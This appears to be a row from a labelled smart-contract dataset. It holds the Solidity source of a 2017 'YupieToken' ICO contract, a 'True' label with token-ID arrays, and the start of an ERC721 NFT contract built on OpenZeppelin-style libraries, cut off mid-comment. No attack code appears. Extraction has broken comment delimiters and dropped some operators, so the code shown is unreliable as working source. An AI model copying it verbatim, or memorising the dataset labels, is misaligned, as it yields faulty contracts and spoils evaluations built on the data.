1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered / function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /* * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) \|\| (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YupieToken is StandardToken { using SafeMath for uint256; // EVENTS event CreatedYUPIE(address indexed _creator, uint256 _amountOfYUPIE); // TOKEN DATA string public constant name = "YUPIE"; string public constant symbol = "YUP"; uint256 public constant decimals = 18; string public version = "1.0"; // YUPIE TOKEN PURCHASE LIMITS uint256 public maxPresaleSupply; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) // PURCHASE DATES uint256 public constant preSaleStartTime = 1502784000; // GMT: Tuesday, August 15, 2017 8:00:00 AM uint256 public constant preSaleEndTime = 1505671200; // GMT: Sunday, September 17, 2017 6:00:00 PM uint256 public saleStartTime = 1509523200; // GMT: Wednesday, November 1, 2017 8:00:00 AM uint256 public saleEndTime = 1512115200; // GMT: Friday, December 1, 2017 8:00:00 AM // PURCHASE BONUSES uint256 public lowEtherBonusLimit = 5 1 ether; // 5+ Ether uint256 public lowEtherBonusValue = 110; // 10% Discount uint256 public midEtherBonusLimit = 24 * 1 ether; // 24+ Ether uint256 public midEtherBonusValue = 115; // 15% Discount uint256 public highEtherBonusLimit = 50 * 1 ether; // 50+ Ether uint256 public highEtherBonusValue = 120; // 20% Discount uint256 public highTimeBonusLimit = 0; // 1-12 Days uint256 public highTimeBonusValue = 120; // 20% Discount uint256 public midTimeBonusLimit = 1036800; // 12-24 Days uint256 public midTimeBonusValue = 115; // 15% Discount uint256 public lowTimeBonusLimit = 2073600; // 24+ Days uint256 public lowTimeBonusValue = 110; // 10% Discount // PRICING INFO uint256 public constant YUPIE_PER_ETH_PRE_SALE = 3000; // 3000 YUPIE = 1 ETH uint256 public constant YUPIE_PER_ETH_SALE = 1000; // 1000 YUPIE = 1 ETH // ADDRESSES address public constant ownerAddress = 0x20C84e76C691e38E81EaE5BA60F655b8C388718D; // The owners address // STATE INFO bool public allowInvestment = true; // Flag to change if transfering is allowed uint256 public totalWEIInvested = 0; // Total WEI invested uint256 public totalYUPIESAllocated = 0; // Total YUPIES allocated mapping (address => uint256) public WEIContributed; // Total WEI Per Account // INITIALIZATIONS FUNCTION function YupieToken() { require(msg.sender == ownerAddress); totalSupply = 63110000001000000000000000000; // MAX TOTAL YUPIES 631 million uint256 totalYUPIESReserved = totalSupply.mul(55).div(100); // 55% reserved for Crowdholding maxPresaleSupply = totalSupply*8/1000 + totalYUPIESReserved; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) balances[msg.sender] = totalYUPIESReserved; totalYUPIESAllocated = totalYUPIESReserved; } // FALL BACK FUNCTION TO ALLOW ETHER DONATIONS function() payable { require(allowInvestment); // Smallest investment is 0.00001 ether uint256 amountOfWei = msg.value; require(amountOfWei >= 10000000000000); uint256 amountOfYUPIE = 0; uint256 absLowTimeBonusLimit = 0; uint256 absMidTimeBonusLimit = 0; uint256 absHighTimeBonusLimit = 0; uint256 totalYUPIEAvailable = 0; // Investment periods if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) { // Pre-sale ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_PRE_SALE); absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit; totalYUPIEAvailable = maxPresaleSupply - totalYUPIESAllocated; } else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) { // ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_SALE); absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit; totalYUPIEAvailable = totalSupply - totalYUPIESAllocated; } else { // Invalid investment period revert(); } // Check that YUPIES calculated greater than zero assert(amountOfYUPIE > 0); // Apply Bonuses if (amountOfWei >= highEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highEtherBonusValue).div(100); } else if (amountOfWei >= midEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midEtherBonusValue).div(100); } else if (amountOfWei >= lowEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowEtherBonusValue).div(100); } if (block.timestamp >= absLowTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowTimeBonusValue).div(100); } else if (block.timestamp >= absMidTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midTimeBonusValue).div(100); } else if (block.timestamp >= absHighTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highTimeBonusValue).div(100); } // Max sure it doesn't exceed remaining supply assert(amountOfYUPIE <= totalYUPIEAvailable); // Update total YUPIE balance totalYUPIESAllocated = totalYUPIESAllocated + amountOfYUPIE; // Update user YUPIE balance uint256 balanceSafe = balances[msg.sender].add(amountOfYUPIE); balances[msg.sender] = balanceSafe; // Update total WEI Invested totalWEIInvested = totalWEIInvested.add(amountOfWei); // Update total WEI Invested by account uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei); WEIContributed[msg.sender] = contributedSafe; // CHECK VALUES assert(totalYUPIESAllocated <= totalSupply); assert(totalYUPIESAllocated > 0); assert(balanceSafe > 0); assert(totalWEIInvested > 0); assert(contributedSafe > 0); // CREATE EVENT FOR SENDER CreatedYUPIE(msg.sender, amountOfYUPIE); } // CHANGE PARAMETERS METHODS function transferEther(address addressToSendTo, uint256 value) { require(msg.sender == ownerAddress); addressToSendTo.transfer(value); } function changeAllowInvestment(bool _allowInvestment) { require(msg.sender == ownerAddress); allowInvestment = _allowInvestment; } function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) { require(msg.sender == ownerAddress); saleStartTime = _saleStartTime; saleEndTime = _saleEndTime; } function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) { require(msg.sender == ownerAddress); lowEtherBonusLimit = _lowEtherBonusLimit; lowEtherBonusValue = _lowEtherBonusValue; midEtherBonusLimit = _midEtherBonusLimit; midEtherBonusValue = _midEtherBonusValue; highEtherBonusLimit = _highEtherBonusLimit; highEtherBonusValue = _highEtherBonusValue; } function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) { require(msg.sender == ownerAddress); highTimeBonusLimit = _highTimeBonusLimit; highTimeBonusValue = _highTimeBonusValue; midTimeBonusLimit = _midTimeBonusLimit; midTimeBonusValue = _midTimeBonusValue; lowTimeBonusLimit = _lowTimeBonusLimit; lowTimeBonusValue = _lowTimeBonusValue; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 20865, 1006, 1038, 1028, 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/** Submitted for verification at Etherscan.io on 2021-09-18 / // .----------------. .----------------. .----------------. .----------------. .-----------------. // \| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \| // \| \| _________ \| \|\| \| ____ \| \|\| \| ___ ____ \| \|\| \| _________ \| \|\| \| ____ _____ \| \| // \| \| \| _ _ \| \| \|\| \| .' `. \| \|\| \| \|_ \|\|_ _\| \| \|\| \| \|_ ___ \| \| \|\| \|\|_ \\|_ _\| \| \| // \| \| \|_/ \| \| \_\| \| \|\| \| / .--. \ \| \|\| \| \| \|_/ / \| \|\| \| \| \|_ \_\| \| \|\| \| \| \ \| \| \| \| // \| \| \| \| \| \|\| \| \| \| \| \| \| \|\| \| \| __'. \| \|\| \| \| _\| _ \| \|\| \| \| \|\ \\| \| \| \| // \| \| _\| \|_ \| \|\| \| \ `--' / \| \|\| \| _\| \| \ \_ \| \|\| \| _\| \|___/ \| \| \|\| \| _\| \|_\ \|_ \| \| // \| \| \|_____\| \| \|\| \| `.____.' \| \|\| \| \|____\|\|____\| \| \|\| \| \|_________\| \| \|\| \|\|_____\|\____\| \| \| // \| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \| // \| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \| // '----------------' '----------------' '----------------' '----------------' '----------------' // .----------------. .----------------. .----------------. // \| .--------------. \|\| .--------------. \|\| .--------------. \| // \| \| ____ ____ \| \|\| \| ______ \| \|\| \| __ \| \| // \| \|\|_ \ / _\|\| \|\| \| \|_ _ \ \| \|\| \| / \ \| \| // \| \| \| \/ \| \| \|\| \| \| \|_) \| \| \|\| \| / /\ \ \| \| // \| \| \| \|\ /\| \| \| \|\| \| \| __'. \| \|\| \| / ____ \ \| \| // \| \| _\| \|_\/_\| \|_ \| \|\| \| _\| \|__) \| \| \|\| \| _/ / \ \_ \| \| // \| \|\|_____\|\|_____\|\| \|\| \| \|_______/ \| \|\| \|\|____\| \|____\|\| \| // \| \| \| \|\| \| \| \|\| \| \| \| // \| '--------------' \|\| '--------------' \|\| '--------------' \| // '----------------' '----------------' '----------------' // .----------------. .----------------. // \| .--------------. \|\| .--------------. \| // \| \| ____ ____ \| \|\| \| __ \| \| // \| \|\|_ _\| \|_ _\| \| \|\| \| / \| \| \| // \| \| \ \ / / \| \|\| \| `\| \| \| \| // \| \| \ \ / / \| \|\| \| \| \| \| \| // \| \| \ ' / \| \|\| \| _\| \|_ \| \| // \| \| \_/ \| \|\| \| \|_____\| \| \| // \| \| \| \|\| \| \| \| // \| '--------------' \|\| '--------------' \| // '----------------' '----------------' // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See 